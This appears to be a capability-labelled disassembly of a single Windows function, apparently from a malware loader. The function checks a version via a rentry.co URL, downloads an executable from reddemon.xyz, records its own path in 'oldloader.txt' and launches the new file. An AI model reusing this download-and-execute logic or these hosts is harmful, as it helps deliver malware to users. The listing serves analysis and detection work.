Function at 0x14004b7c0
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rax - 0x2b8]
sub rsp, 0x3a0
movaps xmmword [rax - 0x28], xmm6
xor r14d, r14d
mov dword [rbp + 0x2c0], r14d
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14004c2c0
call fcn.1400483c0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
lea ecx, [r14 + 0x20]
call fcn.14008247c
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], 0x1e
mov qword [rsp + 0x68], 0x1f
movups xmm0, xmmword [str.https:__rentry.co_oswnzge8_raw]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400d0718]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x1400d0720]
mov dword [rax + 0x18], ecx
movzx ecx, word [0x1400d0724]
mov word [rax + 0x1c], cx
mov byte [rax + 0x1e], r14b
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0x160]
mov rcx, rbx
call fcn.14006af80
nop
lea rax, [rsp + 0x70]
mov qword [rbp + 0x2c0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], 3
mov qword [rbp - 0x78], 0xf
mov eax, dword [0x1400d0728]
mov word [rsp + 0x70], ax
movzx eax, byte [0x1400d072a]
mov byte [rsp + 0x72], al
mov byte [rsp + 0x73], r14b
lea rdx, [rbp + 0x160]
lea rcx, [rbp - 0x30]
call fcn.1400035d0
nop
lea rdx, [rsp + 0x70]
mov rcx, rax
call fcn.140005700
test al, al
jne 0x14004c24b
lea edx, [r14 + 0xa]
lea rcx, [rbp - 0x10]
call fcn.140005550
mov r8, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14004b8f8
mov r8, qword [rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 6
mov qword [rsp + 0x48], 0xf
mov eax, dword [str._s.exe]
mov dword [rsp + 0x30], eax
movzx eax, word [0x1400d0730]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x36], 0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.14004b690
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14004b97b
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b976
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004b976
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400824b8
movdqa xmm0, xmmword [0x1400c74e0]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
call fcn.1400483c0
mov rsi, rax
lea rax, [rbp - 0x50]
mov qword [rbp + 0x2c0], rax
lea rbx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rbx, qword [rsp + 0x70]
lea rcx, [rbp - 0x30]
call fcn.140004560
mov r8, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14004b9c5
mov r8, qword [rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], 5
mov qword [rsp + 0x68], 0xf
mov eax, dword [str._s__s]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x1400d0704]
mov byte [rsp + 0x54], al
mov byte [rsp + 0x55], 0
mov r9, rbx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x10]
call fcn.14004b690
nop
cmp qword [rax + 0x18], 0xf
jbe 0x14004ba15
mov rax, qword [rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r14
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14004ba30
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.140002620
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
mov ecx, 0x30
call fcn.14008247c
mov rcx, rax
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x60], 0x2c
mov qword [rbp - 0x58], 0x2f
movups xmm0, xmmword [str.https:__reddemon.xyz_loader_build_blued1.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400d0748]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x1400d0758]
movsd qword [rax + 0x20], xmm0
mov eax, dword [0x1400d0760]
mov dword [rcx + 0x28], eax
mov byte [rcx + 0x2c], 0
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x70]
mov rcx, rsi
call fcn.14006a940
movzx ebx, al
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14004baf7
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004baf2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004baf2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400824b8
movdqa xmm0, xmmword [0x1400c74e0]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14004bb46
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004bb41
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004bb41
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400824b8
test bl, bl
jne 0x14004bb78
mov dword [rsp + 0x28], 0x1388
mov word [rsp + 0x20], r14w
mov r9d, 0x1040
lea r8, str.Info
lea rdx, str.Failed_to_download_new_version_
xor ecx, ecx
call fcn.140005480
jmp 0x14004c208
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movdqa xmm6, xmmword [0x1400d07b0]
movdqu xmmword [rsp + 0x40], xmm6
movsd xmm0, qword [str.oldloader.txt]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x1400d06f8]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x1400d06fc]
mov byte [rsp + 0x3c], al
mov byte [rsp + 0x3d], 0
lea rcx, [rbp - 0x10]
call fcn.140004560
mov r8, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14004bbcc
mov r8, qword [rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], 5
mov qword [rbp - 0x58], 0xf
mov eax, dword [str._s__s]
mov dword [rbp - 0x70], eax
movzx eax, byte [0x1400d0704]
mov byte [rbp - 0x6c], al
mov byte [rbp - 0x6b], 0
movups xmm0, xmmword [rsp + 0x30]
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x20], xmm6
lea r9, [rbp - 0x30]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x10]
call fcn.14004b690
mov rbx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14004bc25
mov rbx, qword [rax]
lea rax, [0x1400c76d8]
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0xd8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x2c0], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rsi
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2c], edx
lea rcx, [rbp + 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x38], rax
mov byte [rbp + 0xb4], 0
mov byte [rbp + 0xa9], 0
lea rcx, [rbp + 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0xb8], r14
mov rax, qword [0x1401d9178]
mov qword [rbp + 0xac], rax
mov qword [rbp + 0xa0], r14
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
mov rdx, rbx
lea rcx, [rbp + 0x38]
call fcn.14004c950
test rax, rax
jne 0x14004bd04
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14004bd42
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004bd3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004bd3d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400824b8
movdqa xmm0, xmmword [0x1400c74e0]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14004bd91
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004bd8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004bd8c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400824b8
movdqa xmm0, xmmword [0x1400c74e0]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x180]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x180]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x30]
call fcn.140008c90
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0xb8], 0
je 0x14004bf56
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const___ptr64]
lea rcx, [rbp + 0xa8]
cmp rax, rcx
jne 0x14004be1a
mov r9, qword [rbp + 0xc8]
mov rdx, qword [rbp + 0xc0]
mov r8, rdx
lea rcx, [rbp + 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char____ptr64__char____ptr64__char____ptr64____ptr64]
cmp qword [rbp + 0xa0], 0
je 0x14004bea1
cmp byte [rbp + 0xa9], 0
je 0x14004bea1
mov rax, qword [rbp + 0x38]
mov r8, qword [rax + 0x18]
lea rax, [fcn.140009c80]
mov edx, edi
lea rcx, [rbp + 0x38]
cmp r8, rax
jne 0x14004be4e
call fcn.140009c80
jmp 0x14004be51
call r8
cmp eax, 0xffffffff
jne 0x14004be5a
xor bl, bl
jmp 0x14004bea3
lea rax, [rbp + 0x2c0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x160]
lea r8, [rbp + 0x140]
lea rdx, [rbp + 0xac]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14004bf05
sub eax, 1
je 0x14004bf0c
cmp eax, 2
je 0x14004be9a
xor bl, bl
jmp 0x14004bea3
mov byte [rbp + 0xa9], 0
mov bl, 1
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, [rbp + 0x38]
test bl, bl
cmove rcx, r14
mov rbx, r14
test eax, eax
cmove rbx, rcx
mov byte [rbp + 0xb4], 0
mov byte [rbp + 0xa9], 0
lea rcx, [rbp + 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0xb8], r14
mov rax, qword [0x1401d9178]
mov qword [rbp + 0xac], rax
mov qword [rbp + 0xa0], r14
test rbx, rbx
jne 0x14004bfa2
jmp 0x14004bf86
mov byte [rbp + 0xa9], 0
lea rax, [rbp + 0x140]
mov rbx, qword [rbp + 0x2c0]
sub rbx, rax
je 0x14004bf47
mov r9, qword [rbp + 0xb8]
mov r8, rbx
mov edx, 1
lea rcx, [rbp + 0x140]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbx, rax
je 0x14004bf47
xor bl, bl
jmp 0x14004bea3
cmp byte [rbp + 0xa9], 0
sete bl
jmp 0x14004bea3
mov byte [rbp + 0xb4], 0
mov byte [rbp + 0xa9], 0
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0xb8], r14
mov rax, qword [0x1401d9178]
mov qword [rbp + 0xac], rax
mov qword [rbp + 0xa0], r14
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rbx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rbx, qword [rsp + 0x70]
lea rcx, [rbp - 0x30]
call fcn.140004560
mov r8, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14004bfc8
mov r8, qword [rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 5
mov qword [rsp + 0x48], 0xf
mov eax, dword [str._s__s]
mov dword [rsp + 0x30], eax
movzx eax, byte [0x1400d0704]
mov byte [rsp + 0x34], al
mov byte [rsp + 0x35], 0
mov r9, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.14004b690
nop
cmp qword [rax + 0x18], 0xf
jbe 0x14004c019
mov rax, qword [rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r14
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14004c030
mov r8, rdi
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.140002620
xor edx, edx
lea rcx, [rbp - 0x50]
call fcn.1400044a0
mov ebx, eax
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14004c095
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c090
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004c090
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400824b8
movdqa xmm0, xmmword [0x1400c74e0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14004c0e6
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c0e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004c0e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400824b8
test ebx, ebx
jne 0x14004c1c2
lea rdi, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rdi, qword [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.140004560
mov rbx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14004c114
mov rbx, qword [rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
mov ecx, 0x30
call fcn.14008247c
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0x21
mov qword [rsp + 0x48], 0x2f
movups xmm0, xmmword [str.Failed_to_open_new_version:__s__s]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400d0798]
movups xmmword [rax + 0x10], xmm1
movzx ecx, byte [0x1400d07a8]
mov byte [rax + 0x20], cl
mov byte [rax + 0x21], 0
mov r9, rdi
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x30]
call fcn.14004b690
nop
cmp qword [rax + 0x18], 0xf
jbe 0x14004c189
mov rax, qword [rax]
mov dword [rsp + 0x28], 0x1388
mov word [rsp + 0x20], r14w
mov r9d, 0x1040
lea r8, str.Info
mov rdx, rax
xor ecx, ecx
call fcn.140005480
nop
lea rcx, [rbp - 0x30]
call fcn.140003d70
nop
lea rcx, [rbp - 0x50]
call fcn.140003d70
call fcn.1400057e0
nop
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x30], rsi
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2c], edx
lea rcx, [rbp + 0x38]
call fcn.140009280
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xd8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14004c247
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c242
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004c242
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400824b8
xor bl, bl
jmp 0x14004c24d
mov bl, 1
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x14004c291
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c28c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004c28c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400824b8
movzx eax, bl
lea r11, [rsp + 0x3a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret